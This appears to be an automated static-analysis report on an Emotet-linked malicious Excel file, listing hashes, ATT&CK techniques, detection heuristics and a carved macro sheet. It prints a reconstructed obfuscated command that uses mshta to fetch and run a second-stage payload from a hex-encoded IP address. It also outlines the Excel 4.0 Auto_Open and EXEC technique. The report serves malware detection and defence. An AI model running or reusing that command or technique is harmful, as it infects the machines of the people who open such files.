Emotet — Office (OOXML) / .XLSX malware analysis

Static analysis result for SHA-256 8b6c3d1c1c4f0194…

MALICIOUS

Office (OOXML) / .XLSX

49.5 KB Created: 2022-01-20 15:33:32 UTC Authoring application: Microsoft Excel 16.0300
MD5: 0b7502fa49459f1a6a45e5d75c6fea7f SHA-1: 3e5c42dc657fa01b2e7f0b53bd78d8c3e2323055 SHA-256: 8b6c3d1c1c4f0194ac14f20217620719ae9888660cfc5b07fdc42970e6fd377e
250 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link: User Execution T1059.001 Command and Scripting Interpreter: PowerShell T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, specifically utilizing the `EXEC` function to run a command. This command is obfuscated but reconstructs to 'cmd /c msh^t^a http://0xb907d607/fer/fe1.html', indicating an attempt to download and execute a payload from the specified URL. The presence of `EXEC` and `HALT` functions, along with the ClamAV detection signature 'Xls.Downloader.EmotetExcel02221-9938900-0', strongly suggests Emotet family activity. The macro's intent is to download and execute a second-stage payload.

Heuristics 6

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • ClamAV: Xls.Downloader.EmotetExcel02221-9938900-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02221-9938900-0
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
2628f526ad89b679a894d8f4330dd515993bf15dcb910d61c44994f9a088c9d8		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1601 bytes

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